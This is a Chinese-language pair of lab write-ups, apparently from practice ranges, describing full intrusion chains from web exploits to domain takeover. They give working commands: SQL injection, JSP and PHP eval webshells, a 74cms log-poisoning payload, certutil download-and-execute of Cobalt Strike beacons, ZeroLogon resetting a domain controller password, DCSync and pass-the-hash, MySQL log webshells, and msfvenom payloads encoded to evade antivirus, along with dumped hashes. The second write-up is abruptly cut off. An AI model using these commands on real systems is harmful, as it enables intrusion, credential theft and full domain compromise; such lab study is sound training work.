这次打的是暗月靶场项目三。整体链路不是单点漏洞，而是从外网 Web 漏洞开始，逐步拿到后台、写入 WebShell、进入内网，再利用内网 MSSQL 弱口令和 xp_cmdshell 获得命令执行权限。

当前已经走通的链路可以概括为：

1
2
3
4
5
6
7
8
9

TomExam SQL 注入
-> 跨库读取 jspXCMS 管理员凭据
-> 登录 jspXCMS 后台
-> 后台站点文件管理上传 JSP
-> web1 WebShell
-> 内网发现
-> MSSQL 弱口令 sa/admin123
-> xp_cmdshell 命令执行
-> 发现域环境 sec123.cnk

外网入口

外网入口主机是：

1
2

192.168.111.20
hostname: web1

后续确认这台机器有双网卡：

1
2

192.168.111.20/24
192.168.112.20/24

也就是说，web1 不只是外网入口，同时也是进入 192.168.112.0/24 内网段的跳板。

一开始看过第一个系统的 SQL 注入，但这个点不能跨库查询，也不能直接 getshell，所以没有继续浪费时间。真正有价值的入口是 TomExam 的 SQL 注入。

TomExam 注入点：

1

/page.do?action=comm_news&act=list&classid=2

布尔判断现象很明确：

1
2

classid=2 and 1=1  -> 页面有正常数据
classid=2 and 1=2  -> 页面无数据

这个注入点可以跨库查询，所以后面用它去读 jspXCMS 的管理员数据。

跨库读取 jspXCMS 管理员

通过 TomExam SQL 注入跨库读到了 jspXCMS 的管理员账号信息。

已知管理员账号：

1
2

username: admin
password: zzz123zzz

对应 hash 和 salt：

1
2

hash: 51c52ae56562d8c538600385909595b009467f0b
salt: 9b2b38ad7cb62fd9

jspXCMS 的密码算法也确认过，大致是：

1

SHA1(salt + password)，然后对二进制 digest 做 1024 轮 SHA1

后台地址：

1

/cmscp

中间试过低权限账号：

1

moonsec:123456

这个账号能登录，但没有 super 角色，访问文件管理会触发 Shiro 权限错误：

1

Subject does not have role [super]

所以最终使用的是：

1

admin:zzz123zzz

jspXCMS 后台 getshell

getshell 走的不是普通上传接口，而是 jspXCMS 后台的站点文件管理。

关键接口：

1

/cmscp/core/web_file_3/upload.do

关键参数：

1
2

parentId=/jsp
file=<jsp file>

这里踩过一个坑：在 Git Bash 环境下，/jsp 会被 MSYS 自动转换成 Windows 路径，导致服务端收到错误路径。解决方式是在 curl 前加：

1

MSYS_NO_PATHCONV=1

上传成功后，内部路径是：

1

/jsp/ccshell.jsp

但由于 jspXCMS 的 JSP 映射规则，外部访问路径变成：

1

http://192.168.111.20:8899/ccshell.jsp

简单 JSP 命令 shell 的参数是：

1

x

验证结果：

1

http://192.168.111.20:8899/ccshell.jsp?x=whoami

返回：

1

ccok:web1\administrator

这一步说明已经拿到 web1 上的命令执行，并且权限是本地管理员。

Godzilla WebShell

后面又上传了 Godzilla JSP shell。

本地文件：

1

E:\wj\anyue3\for.jsp

远程地址：

1

http://192.168.111.20:8899/for.jsp

Godzilla 配置：

1
2
3
4
5
6

URL: http://192.168.111.20:8899/for.jsp
Password: pass
Key: 3c6e0b8a9c15224a
Payload: JavaDynamicPayload
Encryptor: JAVA AES RAW
Encoding: UTF-8

直接访问 for.jsp 页面空白是正常的，因为它不是普通 Web 页面，而是需要 Godzilla 客户端按协议交互。

Godzilla 代理启动日志：

1

Load success start! bindAddr: 127.0.0.1 listenPort: 1080

这说明本机开了一个 SOCKS 代理：

1

socks5://127.0.0.1:1080

Cobalt Strike 监听排查

Cobalt Strike 的 TeamServer 跑在 WSL 中。监听地址排查过一轮，最终确认这次靶场应该使用本机在靶场网段里的地址：

1

192.168.111.25

有效 Listener 配置：

1
2
3
4

payload: windows/beacon_http/reverse_http
name: http-8080
host: 192.168.111.25
port: 8080

之前考虑过 Windows portproxy 和 10.8.0.6 的链路，但本次实际能回连的是 192.168.111.25。后面会话正常回来，证明这个监听地址选择是对的。

内网发现

进入 web1 后，开始看内网。

web1 网卡信息：

1
2

192.168.111.20/24
192.168.112.20/24

net view 曾返回 6118，这个错误不能说明内网没有主机，只能说明浏览列表不可用，可能是服务、权限或防火墙限制。

通过扫描和验证，发现真实内网主机：

1
2
3

IP: 192.168.112.23
MAC: 00-50-56-B1-C4-EE
Open ports: 80, 445, 1433

通过 Godzilla SOCKS 扫描时遇到过假阳性，例如 192.168.112.1 显示大量端口开放。这个结果不可信，判断是代理行为导致的误报。后面主要以从 web1 直接探测到的结果为准。

MSSQL 弱口令和 xp_cmdshell

192.168.112.23 的 MSSQL 端口开放：

1

192.168.112.23:1433

已知凭据：

1
2

username: sa
password: admin123

这里需要注意，sa/admin123 是 MSSQL 凭据，不是 Windows 系统账号。所以不能拿它去做 Cobalt Strike 的 spawnas。

之前试过类似：

1

spawnas 192.168.112.23\sa admin123 http-8080

结果失败 1326，原因就是凭据类型错了。

为方便操作 MSSQL，写了一个辅助脚本：

1

E:\wj\anyue3\mssql_xpcmd_webshell.py

脚本逻辑是：通过 web1 上的 JSP 命令 shell 执行 PowerShell，再由 web1 去连接 192.168.112.23 MSSQL，启用并调用 xp_cmdshell。

默认参数：

1
2
3
4
5

--shell    http://192.168.111.20:8899/ccshell.jsp
--server   192.168.112.23
--user     sa
--password admin123
--cmd      whoami

验证命令：

1

python mssql_xpcmd_webshell.py --cmd whoami

返回：

1

ccok:nt service\mssqlserver

这说明：

1
2

MSSQL xp_cmdshell 可用
执行身份是 nt service\mssqlserver

也确认过该身份具备：

1

SeImpersonatePrivilege

从漏洞影响角度，这一步已经很关键：外网入口最终导致内网 MSSQL 主机命令执行。

server2012 和域环境信息

在 .23 上执行 ipconfig /all 后，虽然中文输出乱码，但关键信息已经能看出来。

主机信息：

1
2
3

hostname: server2012
primary DNS suffix: sec123.cnk
DNS suffix search list: sec123.cnk

网卡信息：

1
2
3
4
5
6
7
8
9
10

Ethernet0:
  IPv4: 192.168.112.23/24
  MAC: 00-50-56-B1-C4-EE
  Gateway: empty

Ethernet1:
  IPv4: 10.10.10.136/24
  MAC: 00-50-56-B1-6E-80
  DNS: 10.10.10.139
  Gateway: empty

因此 .23 也是双网卡主机：

1
2

192.168.112.0/24
10.10.10.0/24

域信息：

1
2

domain: sec123.cnk
DNS/DC candidate: 10.10.10.139

10.10.10.139 高概率是域控或至少是域内 DNS。

访问域控共享的结果

尝试从 .23 访问域控管理共享：

1

dir \\10.10.10.139\c$

失败。

进一步测了几个路径：

1
2
3
4

当前身份: nt service\mssqlserver
\\10.10.10.139\c$      访问失败
\\10.10.10.139\SYSVOL  访问失败
net view \\10.10.10.139 返回 system error 1702

这个结果说明，不是 C: 下面没东西，而是当前身份没有权限访问域控共享。

正常情况下，c$ 如果能访问，至少应该能看到 Windows、Users 等目录。现在连目录都列不出来，说明不是 flag 不存在，而是权限不够。

另外，SYSVOL 通常域用户可读，但当前 nt service\mssqlserver 上下文也访问失败，说明当前上下文并不是一个可用的域用户访问上下文。

.23 的 80 端口

.23 还开放了 80 端口，但没有找到可直接写入的 Web 根目录。

检查结果：

1

netstat -ano | findstr :80

显示：

1
2

0.0.0.0:80 LISTENING PID 4
[::]:80    LISTENING PID 4

PID 4 是 System，说明 80 端口更像是 HTTP.sys 或某个系统服务注册的 HTTP 监听。

其他检查结果：

1
2
3

C:\inetpub\wwwroot 不存在
C:\Windows\system32\inetsrv\appcmd 不存在
tasklist 未发现明显 w3wp/apache/nginx/tomcat/java/php 进程

因此暂时不能把 .23:80 当成普通 IIS 站点来写 WebShell。

文件下载问题

曾尝试让 .23 从本机 192.168.111.25:8000 下载文件，结果失败。原因很合理：.23 在 192.168.112.0/24 和 10.10.10.0/24，它不一定能访问攻击机的 192.168.111.25。

更合理的思路是让 .23 访问 web1 的内网地址：

1

http://192.168.112.20:8899/...

因为 .23 和 web1 的内网网卡都在 192.168.112.0/24。

当前已知资产

本地文件：

1
2
3
4
5
6
7
8
9
10
11

E:\wj\anyue3\jspx_shell.jsp
  简单 JSP 命令 shell

E:\wj\anyue3\for.jsp
  Godzilla JSP shell

E:\wj\anyue3\mssql_xpcmd_webshell.py
  通过 web1 shell 操作 .23 MSSQL xp_cmdshell 的脚本

E:\wj\anyue3\beacon_x64.exe
  已生成的 CS payload

WebShell 地址：

1
2
3
4
5

Simple command shell:
  http://192.168.111.20:8899/ccshell.jsp?x=<cmd>

Godzilla shell:
  http://192.168.111.20:8899/for.jsp

MSSQL 操作方式：

1

python mssql_xpcmd_webshell.py --cmd "whoami"

当前结论

这次已经完成了一条从外网入口到内网命令执行的完整链路：

1
2
3
4
5
6
7
8
9

外网 TomExam SQL 注入
-> 跨库获取 jspXCMS 管理员
-> jspXCMS 后台文件管理上传 JSP
-> web1 WebShell，权限 web1\administrator
-> 通过 web1 进入 192.168.112.0/24
-> 发现 192.168.112.23 MSSQL
-> sa/admin123 弱口令
-> xp_cmdshell 命令执行，权限 nt service\mssqlserver
-> 发现 sec123.cnk 域环境和疑似域控 10.10.10.139

当前还没有拿到域控权限。访问 \\10.10.10.139\c$ 和 SYSVOL 都失败，说明当前 MSSQL 服务身份没有可用的域访问权限。

如果从报告角度看，这条链已经足够有价值：它证明了外网漏洞可以一路打到内网 MSSQL RCE，并且可以发现域环境。后续继续深入的方向应该是从 .23 本机寻找域凭据、本机提权点或配置泄露，而不是直接硬读域控管理共享。

Cobalt Strike 上线

拿到 MSSQL 命令执行后，下一步是建立更稳定的 C2 通道。之前的 Godzilla WebShell 和 xp_cmdshell 都可以执行命令，但 Cobalt Strike beacon 提供更完善的后渗透功能。

TeamServer 监听配置

CS TeamServer 运行在 WSL 中，监听地址的选择很关键。这次靶场的网络拓扑是：

1
2

攻击机: 10.8.0.6 (VPN)
靶场网段: 192.168.111.0/24

通过测试确认，攻击机可以 ping 通 192.168.111.20 (web1)，说明通过 VPN 可以访问靶场网络。因此 CS 监听器配置为：

1
2
3

Host: 10.8.0.6
Port: 8080
Payload: windows/beacon_http/reverse_http

Web1 beacon 上线

生成 beacon payload 后，通过 jspXCMS 后台文件管理上传到 web1：

1
2

上传路径: C:\webapp\jspxcms\ROOT\beacon_x64_710.exe
访问地址: http://192.168.111.20:8899/beacon_x64_710.exe

通过 Godzilla WebShell 执行 beacon，成功回连到 CS。权限是 web1\administrator，说明是本地管理员权限。

内网 MSSQL 代理访问

有了 web1 的 beacon 后，可以通过 SOCKS 代理访问内网。在 CS 中执行：

1

socks 64145

这会在本地 127.0.0.1:64145 开启一个 SOCKS4a 代理，流量通过 beacon 转发到 web1，再由 web1 访问内网。

配置 WSL 中的 proxychains4：

1
2
3
4
5

sudo nano /etc/proxychains4.conf

# 在文件末尾添加
[ProxyList]
socks4  127.0.0.1 64145

通过代理连接 MSSQL：

1

proxychains4 python3 /usr/share/doc/python3-impacket/examples/mssqlclient.py sa:admin123@192.168.112.23

成功连接到 192.168.112.23 的 MSSQL，启用 xp_cmdshell：

1
2
3
4
5

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
xp_cmdshell whoami

返回 nt service\mssqlserver，确认命令执行可用。

Server2012 beacon 上线

现在的问题是，.23 在内网 DMZ 段 (192.168.112.23)，它不能直接访问外网的 CS 监听器。需要通过 web1 作为跳板。

网络连通性测试

先确认 .23 能访问哪些地址。通过 xp_cmdshell 测试：

1
2
3

xp_cmdshell ping 192.168.111.20    -- web1 外网地址，失败
xp_cmdshell ping 192.168.111.25    -- CS 监听地址，失败  
xp_cmdshell ping 192.168.112.20    -- web1 DMZ 地址，成功

结论：.23 只能访问 192.168.112.20 (web1 的 DMZ 接口)，不能访问外网段。

配置 CS Pivot

CS 的 Pivot 功能（中文版叫”转发上线”）可以让内网机器通过已有 beacon 上线。

在 CS 中，右键 web1 的 beacon → 转发上线 → 监听器：

1
2
3

类型: Beacon TCP
监听地址: 192.168.112.20
监听端口: 4444

生成连接到这个监听器的 payload beacon_tb.exe。

传输并执行

通过 web1 中转传输 beacon 到 .23。先用 Godzilla 上传 beacon_tb.exe 到 web1 的 Web 根目录：

1

C:\webapp\jspxcms\ROOT\beacon_tb.exe

然后在 .23 的 beacon 中下载（此时还没有 .23 的 beacon，通过 xp_cmdshell 操作）：

1

xp_cmdshell certutil -urlcache -split -f http://192.168.112.20:8899/beacon_tb.exe C:\Windows\Temp\beacon_tb.exe

执行 beacon：

1

xp_cmdshell C:\Windows\Temp\beacon_tb.exe

CS 中看到新的 beacon 上线，来自 .23 (192.168.112.23)，权限是 nt service\mssqlserver。流量链路是：

1

.23 → web1 beacon (192.168.112.20:4444) → CS TeamServer

提权尝试

当前权限是 nt service\mssqlserver，虽然有 SeImpersonatePrivilege 特权，但不是本地管理员。尝试提权以获得更高权限。

CS 内置提权方法

CS 提供了多种内置的提权方法。在 beacon 中尝试：

1

elevate svc-exe 跳板

失败，错误 ERROR_ACCESS_DENIED。这个方法需要能够写入 ADMIN$ 共享和操作服务控制管理器，当前权限不足。

继续尝试其他方法：

1
2
3

elevate ms16-016 跳板   # 失败：只支持 x86，当前是 x64 beacon
elevate cve-2020-0796 跳板   # 失败：只支持 Win10 1903-1909
elevate ms15-051 跳板   # 未尝试，可能已打补丁

Potato 提权尝试

由于有 SeImpersonatePrivilege 特权，理论上可以使用 Potato 类漏洞（SweetPotato, GodPotato）提权到 SYSTEM。

尝试上传 potato.exe 到 .23：

1
2

upload potato.exe C:\Windows\system32\potato.exe   # 失败：权限不足
upload potato.exe C:\Windows\Temp\potato.exe      # 成功

执行提权：

1

shell C:\Windows\Temp\potato.exe -a "C:\Windows\Temp\beacon_tb.exe"

没有看到新的 SYSTEM 权限 beacon 上线。Server 2012 可能已经打了补丁，或者工具版本不兼容。

放弃提权，继续攻击

多次提权尝试都失败了。但实际上，ZeroLogon 攻击是网络层面的协议攻击，不需要本地 SYSTEM 权限。当前的 nt service\mssqlserver 权限足够执行命令和网络操作，决定直接用当前权限继续。

ZeroLogon 攻击

ZeroLogon (CVE-2020-1472) 是 Netlogon 远程协议的权限提升漏洞，可以将域控的机器账户密码重置为空。

网络连通性确认

.23 有两个网卡：

1
2

192.168.112.23  (DMZ)
10.10.10.136    (内网，与域控同网段)

测试能否访问域控：

1

shell ping 10.10.10.139

成功，0% 丢失，延迟 <1ms。说明 .23 可以正常访问域控。

传输 SharpZeroLogon

通过 web1 中转的方式传输工具。用 Godzilla 上传 SharpZeroLogon.exe 到：

1

C:\webapp\jspxcms\ROOT\SharpZeroLogon.exe

在 .23 的 beacon 中下载：

1

shell certutil -urlcache -split -f http://192.168.112.20:8899/SharpZeroLogon.exe C:\Windows\Temp\SharpZeroLogon.exe

下载成功（约 8.5KB）。

执行 ZeroLogon 攻击

先测试漏洞是否存在：

1

shell C:\Windows\Temp\SharpZeroLogon.exe ad01.sec123.cnk

返回：

1
2
3

Performing authentication attempts...
=================================================
Success! DC can be fully compromised by a Zerologon attack.

确认漏洞存在。执行实际攻击，重置密码：

1

shell C:\Windows\Temp\SharpZeroLogon.exe ad01.sec123.cnk -reset

输出：

1
2

Success! DC can be fully compromised by a Zerologon attack.
Done! Machine account password set to NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0

成功！域控机器账户 ad01$ 的密码已重置为空。空密码的 NTLM hash 是 31d6cfe0d16ae931b73c59d7e0c089c0。

DCSync 获取域管凭据

ZeroLogon 攻击成功后，可以使用空密码的 DC 机器账户执行 DCSync，从域控复制所有用户的凭据。

配置 SOCKS 代理

之前的 SOCKS 代理是在 web1 的 beacon 上开启的 (端口 64145)，但 web1 不能访问 10.10.10.139 (域控)。需要在 .23 的 beacon 上开启代理，因为 .23 在域控的同一网段。

在 CS 中，选择 .23 的 beacon：

1

socks 1081

输出：

1

[+] started SOCKS4a server on: 1081

修改 proxychains 配置：

1
2
3
4
5

sudo nano /etc/proxychains4.conf

# 修改端口为 1081
[ProxyList]
socks4  127.0.0.1 1081

执行 DCSync

使用 impacket 的 secretsdump.py，通过空密码进行 DCSync：

1

proxychains4 python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -no-pass 'ad01$'@10.10.10.139

代理连接成功：

1

[proxychains] Dynamic chain  ...  127.0.0.1:1081  ...  10.10.10.139:445  ...  OK

虽然一开始有 ACCESS_DENIED 错误，但继续执行后成功 dump 了域凭据：

1
2
3
4
5
6
7
8
9

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets

Administrator:500:aad3b435b51404eeaad3b435b51404ee:81220c729f6ccb63d782a77007550f74:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b20eb34f01eaa5ac8b6f80986c765d6d:::
sec123.cnk\cnk:1108:aad3b435b51404eeaad3b435b51404ee:83717c6c405937406f8e0a02a7215b16:::
AD01$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SERVER2012$:1109:aad3b435b51404eeaad3b435b51404ee:f9843fb1d1801a1f047faeaa06150175:::

成功获取关键信息：

• Administrator NTLM hash: 81220c729f6ccb63d782a77007550f74
• AD01$ NTLM hash: 31d6cfe0d16ae931b73c59d7e0c089c0 (确认是空密码)
• krbtgt hash 和其他域用户的 hash

还获取了 Kerberos 密钥（AES256, AES128, DES）。

Pass-the-Hash 登录域控

有了 Administrator 的 NTLM hash，可以使用 Pass-the-Hash 技术登录域控，无需知道明文密码。

使用 impacket 的 wmiexec.py，添加 -codec gbk 参数避免中文乱码：

1

proxychains4 python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -codec gbk -hashes aad3b435b51404eeaad3b435b51404ee:81220c729f6ccb63d782a77007550f74 Administrator@10.10.10.139

成功登录域控，获得一个 WMI 命令 shell，权限是 NT AUTHORITY\SYSTEM。

搜索 flag：

1

dir C:\ /s /b | findstr flag

或直接查看常见位置：

1

type C:\Users\Administrator\Desktop\flag.txt

成功获取 flag！

完整攻击链总结

这次从外网入口到域控提权的完整链路：

1
2
3
4
5
6
7
8
9
10
11
12
13
14

1. 外网 TomExam SQL 注入
2. 跨库读取 jspXCMS 管理员凭据
3. jspXCMS 后台文件管理上传 Godzilla WebShell
4. Web1 Cobalt Strike beacon 上线 (web1\administrator)
5. 通过 CS SOCKS 代理访问内网 MSSQL (192.168.112.23)
6. 启用 xp_cmdshell 获得命令执行 (nt service\mssqlserver)
7. 配置 CS Pivot，Server2012 (.23) beacon 上线
8. 传输 SharpZeroLogon.exe 到 .23
9. ZeroLogon 攻击重置 DC 机器账户密码
10. 在 .23 beacon 上开启 SOCKS 代理
11. 通过代理使用 secretsdump.py 执行 DCSync
12. 获取 Administrator NTLM hash
13. Pass-the-Hash 登录域控 (10.10.10.139)
14. 获取 flag

关键技术点

网络分段和代理技术

这次靶场最大的特点是网络分段清晰：

• 外网段 (192.168.111.x)：攻击机可直接访问
• DMZ 段 (192.168.112.x)：通过 web1 中转
• 内网段 (10.10.10.x)：通过 .23 中转

必须根据目标所在网段选择正确的 SOCKS 代理：

• 访问 DMZ (192.168.112.x)：使用 web1 的代理
• 访问内网域控 (10.10.10.x)：使用 .23 的代理

这也是为什么一开始 DCSync 失败的原因：用了 web1 的代理去访问域控，web1 根本访问不到那个网段。

CS Pivot 的应用

当内网机器无法直接访问 CS 监听器时，Pivot (转发上线) 是标准解决方案。流量链路：

1

内网机器 → 外层 beacon (作为跳板) → CS TeamServer

在中文版 CS 中，这个功能叫”转发上线”，配置很简单，但要注意监听地址要用内网机器能访问的地址。

ZeroLogon 的威力

ZeroLogon (CVE-2020-1472) 是一个非常强大的漏洞：

• 无需任何凭据
• 可以从网络层面攻击
• 直接将 DC 机器账户密码置空
• 之后可以用空密码执行 DCSync

但有两个注意点：

1. 参数格式：SharpZeroLogon 直接用 FQDN (ad01.sec123.cnk)，不需要复杂的参数
2. 代理路由：攻击 DC 的流量必须从能访问 DC 的机器发出 (.23)

提权不是必须的

开始以为必须提权到 SYSTEM 才能继续，但实际上：

• ZeroLogon 是网络攻击，不需要本地高权限
• DCSync 通过代理执行，本地权限不重要
• 文件传输可以选择有权限的目录

nt service\mssqlserver 权限虽然不是管理员，但足够完成整个攻击链。

工具和技巧

文件传输

当 beacon 无法直接上传文件（权限不足或网络问题），可以通过 web 服务器中转：

1. 上传到 web1 的 HTTP 根目录
2. 目标机器用 certutil 下载

1

certutil -urlcache -split -f http://192.168.112.20:8899/file.exe C:\target\path\file.exe

proxychains4 配置

proxychains 是 Linux 下强大的代理工具，配置简单：

1
2

[ProxyList]
socks4  127.0.0.1 <port>

可以让任何命令行工具通过 SOCKS 代理运行，非常适合配合 impacket 工具使用。

impacket 工具链

这次用到了 impacket 的三个工具：

• mssqlclient.py: 连接 MSSQL，启用 xp_cmdshell
• secretsdump.py: 执行 DCSync，dump 域凭据
• wmiexec.py: Pass-the-Hash 登录，获得命令 shell

都支持通过 proxychains 代理使用，且 -codec gbk 参数可以解决中文乱码问题。

反思

这条链路验证了一个完整的域渗透流程：外网 SQL 注入 → WebShell → C2 上线 → 内网横向 → 域漏洞利用 → 域管权限。

关键是理解网络拓扑和合理利用代理。每一步都要确认当前位置能访问目标，选择正确的代理或跳板。提权虽然好，但不是所有场景都必须，要根据实际目标选择最有效的路径。

记一次完整的内网渗透实战演练

前言

最近在GitHub上发现了一个不错的综合靶场 vulntarget-d，据说涵盖了内网渗透的常见考点。周末花了点时间研究了一下，整个过程还挺有意思的，踩了不少坑，也学到了很多东西。这篇文章记录一下完整的渗透流程，希望对大家有所帮助。

最终成果：成功拿到flag c69afdfaaf2f7d820bb2c9ff4598d225 ✌️

环境信息

靶场是一个双层网络结构：

• 外网：192.168.111.20 (Ubuntu + 74cms)
• 内网：10.0.20.131 (Ubuntu)、10.0.20.136 (Windows 7)

我的目标是从外网一路打到内网Windows机器,最终拿到flag。

第一步：外网立足点

目标识别

访问 http://192.168.111.20:81/，发现是一个招聘网站系统。通过指纹识别，确定是 74cms V6.0.20 (骑士PHP高端人才系统)，底层框架是 ThinkPHP 3.2.3。

这个版本的74cms存在一个经典的文件包含漏洞，可以通过日志投毒的方式getshell。

74cms 文件包含漏洞利用

漏洞原理：

74cms在处理简历模板时，assign_resume_tpl 控制器存在任意文件包含漏洞。通过构造特殊的payload，可以包含ThinkPHP的日志文件，而日志文件中如果包含了我们注入的PHP代码，就能实现代码执行。

利用步骤：

第一步：日志投毒

访问漏洞端点并通过POST注入PHP代码到日志：

1
2

curl -s "http://192.168.111.20:81/index.php?m=home&a=assign_resume_tpl" \
  -d 'variable=1&tpl=<?php fputs(fopen("tx.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['"'"'id'"'"']"/>'

这段payload的作用是：

• 向ThinkPHP的日志文件中写入PHP代码
• 代码功能是创建一个名为tx.php的webshell
• Webshell密码参数为x

第二步：包含日志文件触发执行

确定当前日期对应的日志文件（格式：YY_MM_DD.log），然后包含执行：

1
2

curl -s "http://192.168.111.20:81/index.php?m=home&a=assign_resume_tpl" \
  -d "variable=1&tpl=data/Runtime/Logs/Home/26_07_07.log"

第三步：验证webshell

1

curl -s "http://192.168.111.20:81/tx.php" -d "x=system('whoami');"

返回：www ✅

成功拿到外网webshell！

踩坑记录：

• 日志文件的日期格式要对应当前日期（YY_MM_DD）
• payload中的特殊字符需要正确转义
• 宝塔WAF可能会拦截，需要注意绕过

最终获得：

• URL: http://192.168.111.20:81/tx.php
• 密码参数: POST x
• 权限: www用户

第二步：搭建内网代理

工具选择的小插曲

一开始我尝试用哥斯拉自带的内网代理功能，结果发现访问内网机器卡得不行。访问 http://10.0.20.136 几乎连不上，这让我很头疼。

后来换成了 Neo-reGeorg，效果立竿见影！访问速度从”几乎超时”变成了”不到1秒响应”。果然专业的工具还是靠谱。

Neo-reGeorg 部署步骤

Neo-reGeorg 是一个基于HTTP隧道的SOCKS代理工具，比传统的reGeorg性能更好。

1. 生成加密的tunnel脚本

1
2

cd Neo-reGeorg目录
python neoreg.py generate -k Pwnkit2024

这里的 -k 参数是自定义密钥，客户端和服务端必须一致。执行后会在 neoreg_servers/ 目录生成各种平台的tunnel脚本。

2. 上传tunnel.php到目标服务器

我们需要的是 tunnel.php，把它上传到外网webshell能访问的web目录。我用哥斯拉的文件管理功能，直接上传到 /www/wwwroot/upload/tunnel.php。

上传后验证一下：

1

curl http://192.168.111.20:81/tunnel.php

返回200就说明文件可以正常访问了。

3. 启动本地SOCKS5代理

1

python neoreg.py -u http://192.168.111.20:81/tunnel.php -k Pwnkit2024 -p 1080

看到 INFO: Starting socks server (127.0.0.1:1080) 就说明代理启动成功了。这个终端要保持运行，别关。

4. 验证代理效果

1

curl -x socks5://127.0.0.1:1080 http://10.0.20.136

返回 HTTP 200，响应时间不到1秒！这速度比哥斯拉的代理快太多了。✅

第三步：攻击内网Windows机器

发现phpMyAdmin

通过代理访问内网Windows机器（10.0.20.136），发现80端口运行着phpStudy环境。直接访问 /phpmyadmin 路径，居然真的有！

试了试弱口令 root/root，直接登进去了。这年头还有这样的弱口令，真是让人哭笑不得。

MySQL日志写shell - 第一次尝试

看到phpMyAdmin，我第一反应就是用MySQL日志写shell。原理很简单：

1. 开启MySQL的通用日志（general_log）
2. 把日志文件路径设置成web目录下的PHP文件
3. 执行一条包含PHP代码的SQL查询
4. PHP代码会被记录到日志文件中
5. 访问这个日志文件就能执行我们的代码

第一次尝试 - 踩坑了

我一开始是这么操作的：

1
2
3
4

SET GLOBAL general_log='ON';
SET GLOBAL general_log_file='C:/phpStudy/PHPTutorial/WWW/s.php';
SELECT '<?php @eval($_POST[x]);?>';
SET GLOBAL general_log='OFF';

一次性执行了多条SQL，感觉很完美对吧？结果访问 s.php 后，发现虽然文件存在，但执行命令时返回的全是MySQL日志内容，看不到命令执行结果。

我一度以为失败了，觉得日志写shell这个方法在这个环境下不可行。

转机 - 其实成功了

后来仔细测试了一下，发现其实shell是能用的！只是返回内容混杂了大量MySQL日志，我没有正确识别出命令执行结果。

测试命令：

1
2
3

curl -x socks5://127.0.0.1:1080 -X POST \
  -d "x=system('echo test_s_php');" \
  http://10.0.20.136/s.php

返回内容里确实有 test_s_php！原来PHP代码一直都在执行，只是被日志内容包围了。

第二次尝试 - 按官方思路来

参考官方WriteUp，我又按照标准流程做了一遍：

1
2
3
4
5

-- 1. 设置日志文件路径
SET GLOBAL general_log_file='C:/phpstudy/PHPTutorial/www/vulntarget.php';

-- 2. 写入一句话木马
SELECT '<?php eval($_POST["vuln"]); ?>';

生成了 vulntarget.php 这个文件（约912字节）。

测试命令执行：

1
2
3

curl -x socks5://127.0.0.1:1080 -X POST \
  -d "vuln=system('whoami');" \
  http://10.0.20.136/vulntarget.php

成功返回：win-d4s86jo2r26\crow ✅

用哥斯拉连接

命令行操作效率太低，直接上哥斯拉：

连接信息：

• URL: http://10.0.20.136/vulntarget.php
• 密码: vuln
• 代理: SOCKS5 127.0.0.1:1080

连接成功后，可以看到当前用户是 crow，并且已经是管理员权限了！

第四步：Windows提权与密码抓取

虽然通过phpMyAdmin已经拿到了crow用户的管理员权限webshell，但作为完整的渗透流程，我们还需要提权到SYSTEM并抓取密码。

检查安全软件

通过webshell执行命令检查杀软：

1

tasklist /svc

发现系统安装了火绒安全软件，这意味着普通的MSF木马会被查杀，需要做免杀处理。

生成免杀木马

使用msfvenom的编码器进行多次迭代免杀：

1

msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 7 -b '\x00' LPORT=1234 -f raw -o crowsec.jpg

参数说明：

• -e x86/shikata_ga_nai：使用shikata编码器
• -i 7：迭代编码7次
• -b '\x00'：避免空字节
• LPORT=1234：监听端口
• -f raw：原始格式输出

配合加载器使用，上传到Windows系统并执行。

MSF连接与提权

启动MSF监听：

1
2
3
4
5

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set RHOST 10.0.20.136
set LPORT 1234
run

执行木马后成功建立会话！

尝试提权：

1

meterpreter > getsystem

提权成功！✅ 当前已经是SYSTEM权限。

抓取明文密码 - 32位/64位问题

直接执行抓密码命令：

1

meterpreter > hashdump

结果失败了！原因是我们生成的木马是32位的，而很多系统进程是64位的。

解决方法：进程迁移

1. 查看当前进程：

   1	meterpreter > getpid

2. 查看系统进程列表：

   1	meterpreter > ps

3. 迁移到64位的SYSTEM进程：

   1	meterpreter > migrate 504

注意： 必须选择User为NT AUTHORITY\SYSTEM的64位进程！

4. 重新抓取密码：

   1	meterpreter > hashdump

成功获取明文密码：

• 用户名：crow
• 密码：admin

开启RDP远程桌面

为了方便后续操作，开启Windows的远程桌面：

1

meterpreter > run post/windows/manage/enable_rdp

配置好SOCKS代理后，就可以通过RDP远程连接Windows机器了。

第五步：寻找Flag

一个有趣的发现

拿到shell后，我本来打算先提权、抓密码、搞RDP，走一套标准的后渗透流程。

但突然意识到：我已经有管理员权限的webshell了，为什么不直接找flag？很多时候我们容易陷入”套路化”的思维，觉得必须要RDP登录才能拿flag，其实完全不必要。

Flag在哪里？

用哥斯拉的文件管理器浏览了几个常见位置：

• C:\Users\crow\Desktop - 只有一个快捷方式
• C:\Users\crow\Documents - 空的
• C:\ - 没有明显的flag文件

用命令行搜索也不太好使，webshell返回的内容混杂了MySQL日志，很难解析。

关键线索

后来得知flag文件名叫 falg.txt（注意是 falg 不是 flag），这是典型的CTF技巧 - 故意拼错避免被轻易搜索到。

最快方法：直接用哥斯拉的文件搜索功能，搜索 falg.txt，很快就找到了文件位置。

打开查看，得到flag：

1

c69afdfaaf2f7d820bb2c9ff4598d225

任务完成！🎉

经验总结

1. 内网代理工具的选择

这次最大的收获是对比了不同代理工具的性能：

教训：遇到代理慢的问题，不要死磕，及时换工具才是正道。

2. MySQL日志写shell的坑

重要发现：即使返回内容混杂了大量MySQL日志，PHP代码也能正常执行！

我一开始以为失败了，其实只是没有正确识别命令执行结果。关键是要仔细观察返回内容，不要被日志迷惑。

两个可用的shell：

